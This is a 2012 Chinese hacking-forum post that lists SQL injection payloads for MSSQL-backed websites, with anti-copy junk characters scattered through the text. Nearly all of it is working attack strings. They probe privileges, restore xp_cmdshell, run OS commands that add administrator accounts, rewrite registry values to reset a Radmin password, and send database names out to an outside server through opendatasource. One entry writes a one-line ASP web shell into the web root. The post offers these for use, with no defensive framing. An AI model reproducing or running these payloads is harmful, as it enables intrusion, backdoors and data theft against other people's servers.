找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1854|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
阿D常用的一些注入命令  h; G; k  z' U$ k1 ]! k
//看看是什么权限的
8 f0 `" E' _5 ]( ?/ p& U) A& `and 1=(Select IS_MEMBER('db_owner'))
1 |* c7 X+ k$ f5 o. T5 P. oAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--# K; Q8 w/ F  g" S+ k- j: Y

% }4 |* e. @$ _( ~! w9 W//检测是否有读取某数据库的权限
4 _* a4 M# v( P' r$ L6 H8 m0 Nand 1= (Select HAS_DBACCESS('master'))  {" h- n4 Q4 w. a% y( I0 p# H
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
$ l# l% S( G; d2 }
- q! o% O7 i% M: U* @# m
; b2 ?& r/ n7 K- B, c0 Q数字类型
' X7 n# Z3 S% ~and char(124)%2Buser%2Bchar(124)=00 m2 X4 \! j, Y, _5 X9 |

( Q: }) r$ p# I字符类型( i4 p4 L9 S" x0 Q+ {7 r. {1 |) R
' and char(124)%2Buser%2Bchar(124)=0 and ''='
* P6 N! T1 N+ M0 h, c* a3 q/ H
: q, W# X! l$ Q& L搜索类型
/ ?$ B& h( o0 L" e* c- {5 G' and char(124)%2Buser%2Bchar(124)=0 and '%'=': U# P3 d) Q) j. g& B
/ c0 a, B# U  ~3 `
爆用户名- q" w1 X6 y$ t# X( l
and user>0. o4 P* u! z+ n4 p
' and user>0 and ''='
: `" C$ J' c7 G1 S2 y" G
) L. ?( k8 e6 `! |9 A检测是否为SA权限
: A" w) f6 |  B" [9 c9 I( A/ Oand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, G7 m) f2 ?* S" s( P1 {8 S1 ~And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
% _, j% b! Q* [1 o2 ]& f5 h+ [# k+ `$ U& e% C7 b0 r
检测是不是MSSQL数据库
" X. B8 {" H( S5 h$ Q2 G5 Hand exists (select * from sysobjects);-- - w, H! X( P2 e0 k/ `

: m. g8 p- a8 t! Y/ a, a检测是否支持多行
, T& A7 M9 n- W3 i;declare @d int;-- * t$ V* V& B) J- |
% R$ q) k' M$ B# \! N
恢复 xp_cmdshell
( _9 H* l: s8 S' K7 ];exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--+ n1 |! m/ q& S, V& p7 z2 G* ^
6 B  \- o: A, W

# ?) [% ]+ r2 [2 s& pselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 2 R/ c4 a: U1 x  t
9 c! {; G  a0 ~( b0 Y
//-----------------------: n) ]. X, {9 }- P9 u1 i6 X
//      执行命令
6 ?" {1 x/ e' c* q, p; e5 ~+ [2 r& Q/ B//-----------------------: s& V) B- i# V
首先开启沙盘模式:; v8 P( n8 l& n
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; c4 `+ G" \* E0 [
+ `' M/ W: i% @4 E" d' b/ W
然后利用jet.oledb执行系统命令
& H# R/ N0 X; c: k- @5 f5 X& Mselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, T' I- W2 J. D$ Z' K# Z, Z( r" p- m9 k
执行命令& ]% a% @* ^0 c/ ~
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
$ d7 S+ x5 ]& D3 u7 o5 s7 H) E
0 K  L  J" m4 k* f9 XEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'. }4 x5 L6 |) j5 T
+ k" i" h! D) ^
判断xp_cmdshell扩展存储过程是否存在:. Y! {2 Q1 `0 _8 Q3 R+ ?
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 {6 p+ O: ^/ j5 M' x3 }* b" i; A2 g; q
写注册表
6 W- ]+ s$ S9 F$ Y- C6 ^; K. _exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 e) G0 D8 r0 h2 t7 m& L( L
  }6 H% _  _+ N$ n
REG_SZ
, b9 {" D; _2 i! W
7 g$ X, L& G" _  p* p' v读注册表
. U1 M, B. \0 {4 j! ]* w' Aexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'  W7 v  u: Q4 M$ b1 Z7 J
) x9 k4 u" w7 @# h7 H+ P
读取目录内容) M8 ?. k- t7 s9 _5 X1 S! h
exec master..xp_dirtree 'c:\winnt\system32\',1,13 a8 b5 L/ P$ @+ i

) ]( W% ~0 o7 J6 |6 k# D3 y- ^: I: [  D% K
数据库备份& _( H* W0 ^6 Z/ @* t) s
backup database pubs to disk = 'c:\123.bak'
- E, G: L0 ~0 s# z% L5 o' U; c1 W/ Q, N' Z. H
//爆出长度
4 v4 E, [6 o  tAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
( i4 u' v# A  F8 U4 I
( a- A; |) M8 K4 m2 {; `5 }1 m9 P0 o; I- d; d2 h. q+ V1 `

' J0 z7 {; o. q' s更改sa口令方法:用sql综合利用工具连接后,执行命令:8 p6 S' z: d9 H1 h. F
exec sp_password NULL,'新密码','sa'2 U) m+ R; P$ {% J+ K

/ f$ X: z0 u. J4 t7 u! d添加和删除一个SA权限的用户test:
( o4 K- J4 I% l: T. F+ t4 iexec master.dbo.sp_addlogin test,ptlove
& H0 `8 z7 B- K( pexec master.dbo.sp_addsrvrolemember test,sysadmin
; h  M0 N* B* l9 ~- p- y# Q
+ t; O& k, k  g删除扩展存储过过程xp_cmdshell的语句:
/ k/ [6 u0 T% O  z' b* bexec sp_dropextendedproc 'xp_cmdshell'2 O- F2 g% Z8 X0 n
# u5 d2 g. r) l- d, \- Y
添加扩展存储过过程
/ F4 P2 C0 H) U" UEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
2 x% l3 m' L( j/ ]% x0 dGRANT exec On xp_proxiedadata TO public , O0 r# y6 t+ j: d
- T4 [& G! v1 F! p
3 @7 j/ n: L' A1 ?$ m- ~/ M
停掉或激活某个服务。 2 ~! b1 J0 E" ^* l0 K! F7 [; r8 {
' R+ v8 c! L* b- o! T
exec master..xp_servicecontrol 'stop','schedule'2 \9 r) {0 w9 Q% M! V6 x) W; L" w
exec master..xp_servicecontrol 'start','schedule'
/ h6 c+ Y. m1 N. C, E4 ]: ~1 z9 K1 X; w- D: C) R* h
dbo.xp_subdirs
* ?* {6 d, O4 Y, s3 a$ \4 N8 p: C! j' w
只列某个目录下的子目录。: _" C/ q) I% L3 c: ^" W
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
4 W/ a5 J, S6 D
5 Y$ Y; |! R. Q, G$ \dbo.xp_makecab$ }; U9 ^# |, n! E9 `# Z% A8 O

' _: u2 v4 Q0 y( D* c将目标多个档案压缩到某个目标档案之内。, F" ]0 J* w6 p: o% j' s
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
0 n% z0 I. j3 D, @; z8 U3 \
. A, G8 s6 _$ h; [: Ldbo.xp_makecab& Z9 T. [7 A% w( M( x3 ^
'c:\test.cab','mszip',1,
6 x5 @# {0 J" Y! n& c8 C'C:\Inetpub\wwwroot\SQLInject\login.asp',* {+ d# |, B% i( k9 m8 Q
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
2 I- \; `, r4 _$ i5 L
. j8 z1 y5 b, S! e. Ixp_terminate_process& E2 C/ `% O: Y. I$ P) H
. C# z4 N0 ~0 S0 v
停掉某个执行中的程序,但赋予的参数是 Process ID。' a, t' A& `% {6 I+ Q' ]- N3 v
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
# O* e7 T+ n1 F. g$ g3 a; n2 N" e
( _4 V4 f; H. j4 c8 kxp_terminate_process 2484; u$ t: {$ [, |

7 X* s& S1 V8 A  _xp_unpackcab+ t- [' v$ o, q3 \; ?: Q" L

' C6 \/ ^" z* K$ p解开压缩档。
/ G2 K5 C( m8 E2 U- a
& ?2 i; I& ]$ ?9 Oxp_unpackcab 'c:\test.cab','c:\temp',1
4 a: v; |/ Q! u% [: d; z0 f. W% Q- Y9 p  i& O7 `, C
! b3 E5 d7 B" y9 x. L, c
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
9 v7 a9 A! E; o( A  H- U
6 H4 s7 d8 q" G, l- Z8 Icreate database lcx;
6 N4 p, V- h) t& J/ p# \2 J  LCreate TABLE ku(name nvarchar(256) null);$ q; X1 k$ O6 j7 Y! @$ U
Create TABLE biao(id int NULL,name nvarchar(256) null);
/ S( W* }7 ~3 ~# K/ Y$ b1 ]1 b3 a* l
//得到数据库名6 [0 d+ ~5 H/ @* w- `' d
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
. R, x7 }) N5 H; A  A3 A
2 H, _& A6 ]; L6 {6 I! N. f% p/ A" e  t. k, x+ ~. g2 ~
//在Master中创建表,看看权限怎样: {+ a8 V, Q' n" d, u1 m' \& K5 q
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
/ _. b" k! z  D. t2 I
" A. ^7 z9 a, T" V/ R2 |2 z用 sp_makewebtask直接在web目录里写入一句话马:( E. s5 j1 S, {
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
+ U; R, _: f$ ?& J  |2 ?* o& w& |1 e1 I8 `9 e4 K
//更新表内容0 v9 s$ v& E2 G5 D$ i! ?( l# t
Update films SET kind = 'Dramatic' Where id = 1237 Y0 Y5 `: R6 Y0 W# y1 N$ `+ n4 q& V, V
+ @  X. `% [2 F; M0 c1 w+ N7 n: R
//删除内容
( \& {5 {8 u" C( a4 r! h" @* v) fdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表